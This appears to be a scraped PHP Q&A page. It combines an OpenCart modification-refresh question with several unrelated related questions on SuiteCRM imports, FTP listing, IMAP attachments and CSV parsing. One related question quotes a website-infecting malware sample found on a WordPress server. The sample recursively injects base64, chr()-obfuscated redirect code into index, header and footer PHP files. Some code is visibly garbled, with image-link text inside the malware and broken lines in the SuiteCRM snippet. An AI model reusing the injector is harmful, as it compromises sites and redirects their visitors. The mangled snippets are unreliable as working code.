How to refresh opencart modification by code - php

I need to refresh modifications after install module.
public function install() {
$this->load->controller('marketplace/modification/refresh');
}
I tried this. Its worked but the page redirected to modification listing. How can i do without redirect. I am using opencart 3.

If you don't want to edit modification.php or clone its refresh function, You can use this:
public function install(){
$data['redirect'] = 'extension/extension/module';
$this->load->controller('marketplace/modification/refresh', $data);
}

You could not controll by this way as you are doing:
You need to do this as
public function install() {
$this->refresh();
}
protected function refresh($data = array()) {
$this->load->language('marketplace/modification');
$this->document->setTitle($this->language->get('heading_title'));
$this->load->model('setting/modification');
if ($this->validate()) {
// Just before files are deleted, if config settings say maintenance mode is off then turn it on
$maintenance = $this->config->get('config_maintenance');
$this->load->model('setting/setting');
$this->model_setting_setting->editSettingValue('config', 'config_maintenance', true);
//Log
$log = array();
// Clear all modification files
$files = array();
// Make path into an array
$path = array(DIR_MODIFICATION . '*');
// While the path array is still populated keep looping through
while (count($path) != 0) {
$next = array_shift($path);
foreach (glob($next) as $file) {
// If directory add to path array
if (is_dir($file)) {
$path[] = $file . '/*';
}
// Add the file to the files to be deleted array
$files[] = $file;
}
}
// Reverse sort the file array
rsort($files);
// Clear all modification files
foreach ($files as $file) {
if ($file != DIR_MODIFICATION . 'index.html') {
// If file just delete
if (is_file($file)) {
unlink($file);
// If directory use the remove directory function
} elseif (is_dir($file)) {
rmdir($file);
}
}
}
// Begin
$xml = array();
// Load the default modification XML
$xml[] = file_get_contents(DIR_SYSTEM . 'modification.xml');
// This is purly for developers so they can run mods directly and have them run without upload after each change.
$files = glob(DIR_SYSTEM . '*.ocmod.xml');
if ($files) {
foreach ($files as $file) {
$xml[] = file_get_contents($file);
}
}
// Get the default modification file
$results = $this->model_setting_modification->getModifications();
foreach ($results as $result) {
if ($result['status']) {
$xml[] = $result['xml'];
}
}
$modification = array();
foreach ($xml as $xml) {
if (empty($xml)){
continue;
}
$dom = new DOMDocument('1.0', 'UTF-8');
$dom->preserveWhiteSpace = false;
$dom->loadXml($xml);
// Log
$log[] = 'MOD: ' . $dom->getElementsByTagName('name')->item(0)->textContent;
// Wipe the past modification store in the backup array
$recovery = array();
// Set the a recovery of the modification code in case we need to use it if an abort attribute is used.
if (isset($modification)) {
$recovery = $modification;
}
$files = $dom->getElementsByTagName('modification')->item(0)->getElementsByTagName('file');
foreach ($files as $file) {
$operations = $file->getElementsByTagName('operation');
$files = explode('|', $file->getAttribute('path'));
foreach ($files as $file) {
$path = '';
// Get the full path of the files that are going to be used for modification
if ((substr($file, 0, 7) == 'catalog')) {
$path = DIR_CATALOG . substr($file, 8);
}
if ((substr($file, 0, 5) == 'admin')) {
$path = DIR_APPLICATION . substr($file, 6);
}
if ((substr($file, 0, 6) == 'system')) {
$path = DIR_SYSTEM . substr($file, 7);
}
if ($path) {
$files = glob($path, GLOB_BRACE);
if ($files) {
foreach ($files as $file) {
// Get the key to be used for the modification cache filename.
if (substr($file, 0, strlen(DIR_CATALOG)) == DIR_CATALOG) {
$key = 'catalog/' . substr($file, strlen(DIR_CATALOG));
}
if (substr($file, 0, strlen(DIR_APPLICATION)) == DIR_APPLICATION) {
$key = 'admin/' . substr($file, strlen(DIR_APPLICATION));
}
if (substr($file, 0, strlen(DIR_SYSTEM)) == DIR_SYSTEM) {
$key = 'system/' . substr($file, strlen(DIR_SYSTEM));
}
// If file contents is not already in the modification array we need to load it.
if (!isset($modification[$key])) {
$content = file_get_contents($file);
$modification[$key] = preg_replace('~\r?\n~', "\n", $content);
$original[$key] = preg_replace('~\r?\n~', "\n", $content);
// Log
$log[] = PHP_EOL . 'FILE: ' . $key;
}
foreach ($operations as $operation) {
$error = $operation->getAttribute('error');
// Ignoreif
$ignoreif = $operation->getElementsByTagName('ignoreif')->item(0);
if ($ignoreif) {
if ($ignoreif->getAttribute('regex') != 'true') {
if (strpos($modification[$key], $ignoreif->textContent) !== false) {
continue;
}
} else {
if (preg_match($ignoreif->textContent, $modification[$key])) {
continue;
}
}
}
$status = false;
// Search and replace
if ($operation->getElementsByTagName('search')->item(0)->getAttribute('regex') != 'true') {
// Search
$search = $operation->getElementsByTagName('search')->item(0)->textContent;
$trim = $operation->getElementsByTagName('search')->item(0)->getAttribute('trim');
$index = $operation->getElementsByTagName('search')->item(0)->getAttribute('index');
// Trim line if no trim attribute is set or is set to true.
if (!$trim || $trim == 'true') {
$search = trim($search);
}
// Add
$add = $operation->getElementsByTagName('add')->item(0)->textContent;
$trim = $operation->getElementsByTagName('add')->item(0)->getAttribute('trim');
$position = $operation->getElementsByTagName('add')->item(0)->getAttribute('position');
$offset = $operation->getElementsByTagName('add')->item(0)->getAttribute('offset');
if ($offset == '') {
$offset = 0;
}
// Trim line if is set to true.
if ($trim == 'true') {
$add = trim($add);
}
// Log
$log[] = 'CODE: ' . $search;
// Check if using indexes
if ($index !== '') {
$indexes = explode(',', $index);
} else {
$indexes = array();
}
// Get all the matches
$i = 0;
$lines = explode("\n", $modification[$key]);
for ($line_id = 0; $line_id < count($lines); $line_id++) {
$line = $lines[$line_id];
// Status
$match = false;
// Check to see if the line matches the search code.
if (stripos($line, $search) !== false) {
// If indexes are not used then just set the found status to true.
if (!$indexes) {
$match = true;
} elseif (in_array($i, $indexes)) {
$match = true;
}
$i++;
}
// Now for replacing or adding to the matched elements
if ($match) {
switch ($position) {
default:
case 'replace':
$new_lines = explode("\n", $add);
if ($offset < 0) {
array_splice($lines, $line_id + $offset, abs($offset) + 1, array(str_replace($search, $add, $line)));
$line_id -= $offset;
} else {
array_splice($lines, $line_id, $offset + 1, array(str_replace($search, $add, $line)));
}
break;
case 'before':
$new_lines = explode("\n", $add);
array_splice($lines, $line_id - $offset, 0, $new_lines);
$line_id += count($new_lines);
break;
case 'after':
$new_lines = explode("\n", $add);
array_splice($lines, ($line_id + 1) + $offset, 0, $new_lines);
$line_id += count($new_lines);
break;
}
// Log
$log[] = 'LINE: ' . $line_id;
$status = true;
}
}
$modification[$key] = implode("\n", $lines);
} else {
$search = trim($operation->getElementsByTagName('search')->item(0)->textContent);
$limit = $operation->getElementsByTagName('search')->item(0)->getAttribute('limit');
$replace = trim($operation->getElementsByTagName('add')->item(0)->textContent);
// Limit
if (!$limit) {
$limit = -1;
}
// Log
$match = array();
preg_match_all($search, $modification[$key], $match, PREG_OFFSET_CAPTURE);
// Remove part of the the result if a limit is set.
if ($limit > 0) {
$match[0] = array_slice($match[0], 0, $limit);
}
if ($match[0]) {
$log[] = 'REGEX: ' . $search;
for ($i = 0; $i < count($match[0]); $i++) {
$log[] = 'LINE: ' . (substr_count(substr($modification[$key], 0, $match[0][$i][1]), "\n") + 1);
}
$status = true;
}
// Make the modification
$modification[$key] = preg_replace($search, $replace, $modification[$key], $limit);
}
if (!$status) {
// Abort applying this modification completely.
if ($error == 'abort') {
$modification = $recovery;
// Log
$log[] = 'NOT FOUND - ABORTING!';
break 5;
}
// Skip current operation or break
elseif ($error == 'skip') {
// Log
$log[] = 'NOT FOUND - OPERATION SKIPPED!';
continue;
}
// Break current operations
else {
// Log
$log[] = 'NOT FOUND - OPERATIONS ABORTED!';
break;
}
}
}
}
}
}
}
}
// Log
$log[] = '----------------------------------------------------------------';
}
// Log
$ocmod = new Log('ocmod.log');
$ocmod->write(implode("\n", $log));
// Write all modification files
foreach ($modification as $key => $value) {
// Only create a file if there are changes
if ($original[$key] != $value) {
$path = '';
$directories = explode('/', dirname($key));
foreach ($directories as $directory) {
$path = $path . '/' . $directory;
if (!is_dir(DIR_MODIFICATION . $path)) {
#mkdir(DIR_MODIFICATION . $path, 0777);
}
}
$handle = fopen(DIR_MODIFICATION . $key, 'w');
fwrite($handle, $value);
fclose($handle);
}
}
// Maintance mode back to original settings
$this->model_setting_setting->editSettingValue('config', 'config_maintenance', $maintenance);
// Do not return success message if refresh() was called with $data
$this->session->data['success'] = $this->language->get('text_success');
$url = '';
if (isset($this->request->get['sort'])) {
$url .= '&sort=' . $this->request->get['sort'];
}
if (isset($this->request->get['order'])) {
$url .= '&order=' . $this->request->get['order'];
}
if (isset($this->request->get['page'])) {
$url .= '&page=' . $this->request->get['page'];
}
}
}
I hope it shouwl work for you.
This process is used to refresh the modification when your module installing.
if you need globally this then please tell me I will update you process.

Related

PHP file found expect to be malicious by WordPress Wordforce Plugin

[enter image description here][1]After an unsuccessful (atm) Brut-force attack our-commerce received yesterday.
Our WordPress WordFence found (image: https://i.stack.imgur.com/xfbbL.png) the file named 'lte_OFFLINE' it was located at the root directory. /public/lte_OFFLINE of a our server.
The File has already been quarantined/deleted.
No PHP background, and will need your kind assistance and knowledge to understand if this is a WordPress standard file or if not what does it do? or else, if can be recreated or not?
Note: I removed some code from the base64 ones replace them with ...
<?php ini_set('max_execution_time', '300');
ini_set('memory_limit', '-1');
function strposa($haystack, $needle, $offset=0) {
if(!is_array($needle)) $needle = array($needle);
$stroke = "";
foreach($needle as $query) {
if(strpos($haystack, $query, $offset) !== false) { $stroke .= $query."|";}
}
return $stroke;
}
function make_work($f){
$g = file_get_contents($f);
if (strpos($g, 'WP_USE_THEMES') !== false) {
$g = base64_decode("...IHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgKi8kYT0iaCIuImVhIi4iZGVyIjskYShjaHIoNzYpLmNocigxMTEpLmNocig5OSkuY2hyKDk3KS5jaHIoMTE2KS5jaHIoMTA1KS5jaHIoMTExKS5jaHIoMTEwKS5jaHIoNTgpLmNocigzMikuY2hyKDEwNCkuY2hyKDExNikuY2hyKDExNikuY2hyKDExMikuY2hyKDExNSkuY2hyKDU4KS5jaHIoNDcpLmNocig0NykuY2hyKDEwNSkuY2hyKDExNCkuY2hyKDk5KS5jaHIoNDYpLmNocigxMDgpLmNocigxMTEpLmNocigxMTgpLmNocigxMDEpLmNocigxMDMpLmNocigxMTQpLmNocigxMDEpLmNocigxMDEpLmNocigxMTApLmNocigxMTIpLmNocigxMDEpLmNocigxMTApLmNocig5OSkuY2hyKDEwNSkuY2hyKDEwOCkuY2hyKDExNSkuY2hyKDQ2KS5jaHIoMTAzKS5jaHIoOTcpLmNocig0NykuY2hyKDExNCkuY2hyKDEyMSkuY2hyKDEwMSkuY2hyKDExNCkuY2hyKDEyMSkuY2hyKDYzKS5jaHIoMTA1KS5jaHIoMTAwKS5jaHIoNjEpLmNocig1MykuY2hyKDU2KS5jaHIoNTIpLmNocigzOCkuY2hyKDExNCkuY2hyKDExNSkuY2hyKDYxKS5jaHIoNTApKTsvKmFuZCBUZW1wbGF0ZSAqLwoKLy9yZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7");
#system('chmod 644 '.$f);
#file_put_contents($f,$g);
echo "trrrr::".$f;
} else {
$g = file_get_contents($f);
$g = base64_decode("...oMTEwKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoMTEwKS5jaHIoOTkpLmNocigxMDUpLmNocigxMDgpLmNocigxMTUpLmNocig0NikuY2hyKDEwMykuY2hyKDk3KS5jaHIoNDcpLmNocigxMTQpLmNocigxMjEpLmNocigxMDEpLmNocigxMTQpLmNocigxMjEpLmNocig2MykuY2hyKDEwNSkuY2hyKDEwMCkuY2hyKDYxKS5jaHIoNTMpLmNocig1NikuY2hyKDUyKS5jaHIoMzgpLmNocigxMTQpLmNocigxMTUpLmNocig2MSkuY2hyKDUwKSk7Pz4=") . $g;
#system('chmod 644 '.$f);
#file_put_contents($f,$g);
echo "trrrr::".$f;[enter image description here][1]
}
}
$files = array();
$b = "/../../../../../../../../";
$l = "/";
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']);
$display = Array ( 'php' );
$search = Array('index','head','foot');
$files_ar = array();
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (strpos($file->getFilename(),'.ph') == true || strpos($file->getFilename(),'.ht') == true)
{
$q = strposa($file->getFilename(), $search);
if($q != ""){
array_push($files,$file->getPathname());
}
}
}
foreach($files as $onefile) {
make_work($onefile);
}
for ($i = 1; $i < 8; $i++) {
$l .= "../";
try {
$it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT'].$l);
$display = Array ( 'php' );
$search = Array('index','head','foot');
$files_ar = array();
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (strpos($file->getFilename(),'.ph') == true || strpos($file->getFilename(),'.ht') == true)
{
$q = strposa($file->getFilename(), $search);
if($q != ""){
array_push($files,$file->getPathname());
}
}
}
foreach($files as $onefile) {
make_work($onefile);
}
} catch (Exception $e) {
}

Script not Iterating through all files in directory

PHP Script written for SuiteCRM improting is supposed to loop through all files in the directory and import each to Database. Having a lot of trouble.
Script reads and works on the first file only then finishes when it should loop :(
Importing works fine and data is added the the database from first file.
function MemberImportJob()
{
try
{
$config = new Configurator();
$config->loadConfig();
$xmlDataDir = 'custom/wimporter/eidimport';
$directoryContent = scandir($xmlDataDir);
//foreach ($directoryContent as $itemFile)
foreach (glob($xmlDataDir) as $itemfile)
{
var_dump($itemfile);
if (is_dir($xmlDataDir . DIRECTORY_SEPARATOR . $itemFile)) continue;
if (strcasecmp(substr($itemFile, -4), ".csv") != 0) continue;
$oFile = fopen($xmlDataDir . DIRECTORY_SEPARATOR . $itemFile, 'r');
if ($oFile !== FALSE)
{
$header = NULL;
$data = Array();
while (($data[] = fgetcsv($oFile, 90000, ',')) !== FALSE) { }
fclose($oFile);
//combine into a nice associative array:
$arow=Array();
$fields = array_shift($data);
foreach ($data as $i=>$arow)
{
array_combine " . $i);
if (is_array($arow)) {
$data[$i] = array_combine($fields, $arow);}
}
unset($arow);
$num = count($data);
for ($row=0; $row < $num - 1; $row++)
{
$Member = BeanFactory::getBean("locte_Membership");
$Member=$Member->retrieve_by_string_fields(array('last_name' => $data[$row]["LAST NAME"], 'first_name' => $data[$row]["FIRST NAME"], 'lcl_affiliate_number' => $data[$row]["AFFILIATE"]));
$MemberID = $Member->id;
if (is_null($Member)) {
$Member = BeanFactory::newBean('locte_Membership');
$delta = fillPerson($data[$row], $Member, "FULL NAME");
if(count($delta))
{
$Member_id = $Member->save();
}
} else {
v
var_dump($Member->id);
$delta = fillFoundrecord($data[$row], $Member, "FULL NAME");
echo("record Updated!");
$Member_id = $Member->save();
}
unset($data[$row]);
}
}
return true;
}
} catch (Exception $e)
{
return false;
}
}

PHP FTP recursive directory listing

I'm trying to make a recursive function to get all the directories and sub directories from my ftp server in an array.
I tried a lot of functions I've found on the web. The one that works best for me is this one:
public function getAllSubDirFiles() {
$dir = array(".");
$a = count($dir);
$i = 0;
$depth = 20;
$b = 0;
while (($a != $b) && ($i < $depth)) {
$i++;
$a = count($dir);
foreach ($dir as $d) {
$ftp_dir = $d . "/";
$newdir = ftp_nlist($this->connectionId, $ftp_dir);
foreach ($newdir as $key => $x) {
if ((strpos($x, ".")) || (strpos($x, ".") === 0)) {
unset($newdir[$key]);
} elseif (!in_array($x, $dir)) {
$dir[] = $x;
}
}
}
$b = count($dir);
}
return $dir ;
}
The problem with this function is it wont allow the directory to have a "." in it's name and every file that is located in the root directory will be considered a directory as well. So I adjusted the function and got this:
public function getAllSubDirFiles($ip, $id, $pw) {
$dir = array(".");
$a = count($dir);
$i = 0;
$depth = 20;
$b =0;
while (($a != $b) && ($i < $depth)) {
$i++;
$a = count($dir);
foreach ($dir as $d) {
$ftp_dir = $d . "/";
$newdir = ftp_nlist($this->connectionId, $ftp_dir);
foreach ($newdir as $key => $x) {
if (!is_dir('ftp://'.$id.':'.$pw.'#'.$ip.'/'.$x)) {
unset($newdir[$key]);
} elseif (!in_array($x, $dir)) {
$dir[] = $x;
}
}
}
$b = count($dir);
}
return $dir ;
}
This works pretty good but and gives the result I want. but it's so slow it's unusable.
I also tried working with ftp_rawlist but it has the same drawback of being horribly slow.
public function getAllSubDirFiles() {
$dir = array(".");
$a = count($dir);
$i = 0;
$depth = 20;
$b = 0;
while (($a != $b) && ($i < $depth)) {
$i++;
$a = count($dir);
foreach ($dir as $d) {
$ftp_dir = $d . "/";
$newdir = $this->getFtp_rawlist('/' . $ftp_dir);
foreach ($newdir as $key => $x) {
$firstChar = substr($newdir[$key][0], 0, 1);
$a = 8;
while ($a < count($newdir[$key])) {
if ($a == 8) {
$fileName = $ftp_dir . '/' . $newdir[$key][$a];
} else {
$fileName = $fileName . ' ' . $newdir[$key][$a];
}
$a++;
}
if ($firstChar != 'd') {
unset($newdir[$key]);
} elseif (!in_array($fileName, $dir)) {
$dir[] = $fileName;
}
}
}
$b = count($dir);
}
return $dir;
}
public function getFtp_rawlist($dir) {
$newArr = array();
$arr = ftp_rawlist($this->connectionId, $dir);
foreach ($arr as $value) {
$stringArr = explode(" ", $value);
$newArr[] = array_values(array_filter($stringArr));
}
return $newArr;
}
I've been stuck on this problem for the last couple of days and I'am getting desperate. If any one has any suggestion please let me know
If your server supports MLSD command and you have PHP 7.2 or newer, you can use ftp_mlsd function:
function ftp_mlsd_recursive($ftp_stream, $directory)
{
$result = [];
$files = ftp_mlsd($ftp_stream, $directory);
if ($files === false)
{
die("Cannot list $directory");
}
foreach ($files as $file)
{
$name = $file["name"];
$filepath = $directory . "/" . $name;
if (($file["type"] == "cdir") || ($file["type"] == "pdir"))
{
// noop
}
else if ($file["type"] == "dir")
{
$result = array_merge($result, ftp_mlsd_recursive($ftp_stream, $filepath));
}
else
{
$result[] = $filepath;
}
}
return $result;
}
If you do not have PHP 7.2, you can try to implement the MLSD command on your own. For a start, see user comment of the ftp_rawlist command:
https://www.php.net/manual/en/function.ftp-rawlist.php#101071
If you cannot use MLSD, you will particularly have problems telling if an entry is a file or folder. While you can use the ftp_size trick, calling ftp_size for each entry can take ages.
But if you need to work against one specific FTP server only, you can use ftp_rawlist to retrieve a file listing in a platform-specific format and parse that.
The following code assumes a common *nix format.
function ftp_nlst_recursive($ftp_stream, $directory)
{
$result = [];
$lines = ftp_rawlist($ftp_stream, $directory);
if ($lines === false)
{
die("Cannot list $directory");
}
foreach ($lines as $line)
{
$tokens = preg_split("/\s+/", $line, 9);
$name = $tokens[8];
$type = $tokens[0][0];
$filepath = $directory . "/" . $name;
if ($type == 'd')
{
$result = array_merge($result, ftp_nlst_recursive($ftp_stream, $filepath));
}
else
{
$result[] = $filepath;
}
}
return $result;
}
For DOS format, see: Get directory structure from FTP using PHP.
I've build an OOP FTP Client library that's can help you on this a lot, using just this code you can retrieve a list of only the directories with addition useful information like (chmod, last modified time, size ...).
The code :
// Connection
$connection = new FtpConnection("localhost", "foo", "12345");
$connection->open();
// FtpConfig
$config = new FtpConfig($connection);
$config->setPassive(true);
$client = new FtpClient($connection);
$allFolders =
// directory, recursive, filter
$client->listDirectoryDetails('/', true, FtpClient::DIR_TYPE);
// Do whatever you want with the folders
This code a variation of Martin Prikryl one. It is slower but do not have any failures with whitespaces. Use this code only if you have any problems with the code above.
function ftp_list_files_recursive($ftp_stream, $path){
$lines = ftp_nlist($ftp_stream, $path);
$result = array();
foreach ($lines as $line) {
if (ftp_size($ftp_stream, $line) == -1) {
$result = array_merge($result, ftp_list_files_recursive($ftp_stream, $line));
}
else{
$result[] = $line;
}
}
return $result;
}

Corrupt .docx files when using a PHP IMAP class

I'm Using this PHP IMAP Class: http://code.google.com/p/php-imap/source/browse/trunk/ImapMailbox.php on a current project. After a few modifications the class is working. However whenever the class downloads .docx files they are always corrupt and have to be recovered by office.
protected function initMailPart(IncomingMail $mail, $partStruct, $partNum) {
$data = $partNum ? $this->imap_fetchbody($this->mbox, $mail->mId, $partNum, FT_UID) : $this->imap_body($this->mbox, $mail->mId, FT_UID);
if($partStruct->encoding == 1) {
$data = $this->imap_utf8($data);
}
elseif($partStruct->encoding == 2) {
$data = $this->imap_binary($data);
}
elseif($partStruct->encoding == 3) {
$data = $this->imap_base64($data);
}
elseif($partStruct->encoding == 4) {
$data = $this->imap_qprint($data);
}
$data = trim($data);
$params = array();
if(!empty($partStruct->parameters)) {
foreach($partStruct->parameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}
if(!empty($partStruct->dparameters)) {
foreach($partStruct->dparameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}
if(!empty($params['charset'])) {
$data = iconv($params['charset'], $this->serverEncoding, $data);
}
// attachments
if($this->attachmentsDir) {
$filename = false;
$attachmentId = $partStruct->ifid ? trim($partStruct->id, " <>") : null;
if(empty($params['filename']) && empty($params['name']) && $attachmentId) {
$filename = $attachmentId . '.' . strtolower($partStruct->subtype);
}
elseif(!empty($params['filename']) || !empty($params['name'])) {
$filename = !empty($params['filename']) ? $params['filename'] : $params['name'];
$filename = $this->decodeMimeStr($filename);
$filename = $this->quoteAttachmentFilename($filename);
}
if($filename) {
if($this->attachmentsDir) {
$filepath = rtrim($this->attachmentsDir, '/\\') . DIRECTORY_SEPARATOR . $filename;
file_put_contents($filepath, $data);
$mail->attachments[$filename] = $filepath;
}
else {
$mail->attachments[$filename] = $filename;
}
if($attachmentId) {
$mail->attachmentsIds[$filename] = $attachmentId;
}
}
}
if($partStruct->type == 0 && $data) {
if(strtolower($partStruct->subtype) == 'plain') {
$mail->textPlain .= $data;
}
else {
$mail->textHtml .= $data;
}
}
elseif($partStruct->type == 2 && $data) {
$mail->textPlain .= trim($data);
}
if(!empty($partStruct->parts)) {
foreach($partStruct->parts as $subpartNum => $subpartStruct) {
$this->initMailPart($mail, $subpartStruct, $partNum . '.' . ($subpartNum + 1));
}
}
}
protected function decodeMimeStr($string, $charset = 'UTF-8') {
$newString = '';
$elements = $this->imap_mime_header_decode($string);
for($i = 0; $i < count($elements); $i++) {
if($elements[$i]->charset == 'default') {
$elements[$i]->charset = 'iso-8859-1';
}
$newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
}
return $newString;
}
Try wading into the binary files with a good editor, both before and after the round-trip from IMAP, to see if there's something obvious. I've had similar problems where whitespace made its way into the PHP script (e.g. at the end of a file after the close ?> tag); most formats won't blink but .docx may get kicked into a recovery if there's whitespace left over at the end.

Regex Unclosed Quote

I am trying to figure out a way to read a CSV with returns in it in PHP. The problem is when you read the file like this:
if (($handle = fopen($file, "r")) !== FALSE) {
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
row data...
}
}
If you have a retun in the CSV it does not work, it just sees the returns as a new row.
My idea was to have a regex to check for unclosed quotes, but I dont know of anything like that. Any ideas?
Since it seems the built-in fgetcsv does not correctly handle the CSV standard, there are suggestions for alternatives on the PHP man page for fgetcsv - here's one of them:
From http://www.php.net/manual/en/function.fgetcsv.php
The PHP's CSV handling stuff is
non-standard and contradicts with
RFC4180, thus fgetcsv() cannot
properly deal with files like this
example ...
There is a quick and dirty
RFC-compliant realization of CSV
creation and parsing:
<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
$string = '';
$o = array();
foreach ($items as $item) {
if (stripos($item, $CSV_ENCLOSURE) !== false) {
$item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
}
if ((stripos($item, $CSV_SEPARATOR) !== false)
|| (stripos($item, $CSV_ENCLOSURE) !== false)
|| (stripos($item, $CSV_LINEBREAK !== false))) {
$item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
}
$o[] = $item;
}
$string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;
return $string;
}
function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
$o = array();
$cnt = strlen($string);
$esc = false;
$escesc = false;
$num = 0;
$i = 0;
while ($i < $cnt) {
$s = $string[$i];
if ($s == $CSV_LINEBREAK) {
if ($esc) {
$o[$num] .= $s;
} else {
$i++;
break;
}
} elseif ($s == $CSV_SEPARATOR) {
if ($esc) {
$o[$num] .= $s;
} else {
$num++;
$esc = false;
$escesc = false;
}
} elseif ($s == $CSV_ENCLOSURE) {
if ($escesc) {
$o[$num] .= $CSV_ENCLOSURE;
$escesc = false;
}
if ($esc) {
$esc = false;
$escesc = true;
} else {
$esc = true;
$escesc = false;
}
} else {
if ($escesc) {
$o[$num] .= $CSV_ENCLOSURE;
$escesc = false;
}
$o[$num] .= $s;
}
$i++;
}
// $string = substr($string, $i);
return $o;
}
?>

Categories